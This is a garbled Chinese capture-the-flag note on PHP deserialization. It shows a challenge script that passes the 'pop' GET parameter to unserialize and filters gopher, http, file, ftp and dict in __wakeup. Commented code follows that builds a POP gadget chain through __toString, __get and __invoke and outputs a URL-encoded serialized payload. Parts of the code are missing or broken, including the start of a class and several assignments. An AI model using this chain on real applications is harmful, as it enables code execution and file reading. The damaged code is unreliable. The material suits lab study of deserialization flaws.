反序列化

append($this->var); } } class Show{ public $source; public $str; public function __construct($file='index.php'){ $this->source = $file; echo 'Welcome to '.$this->source."
"; } public function __toString(){ return $this->str->source; } public function __wakeup(){ if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) { echo "hacker"; $this->source = "index.php"; } } } class Test{ public $p; public function __construct(){ $this->p = array(); } public function __get($key){ $function = $this->p; return $function(); } } if(isset($_GET['pop'])){ @unserialize($_GET['pop']); } else{ $a=new Show; highlight_file(__FILE__); } p = $m; //赋值Test类的对象$t下的属性p为Modifier类的对象$m，触发__invoke魔术方法 $s->str= $t;//赋值Show类的对象$s下的str数组的str键的值为 Test类的对象$t ，触发__get魔术方法。 $s->source = $s;//令 Show类的对象$s下的source属性值为此时上一步已经赋值过的$s对象，从而把对象当作字符串调用触发。__tostring魔术方法 echo urlencode((serialize($s)));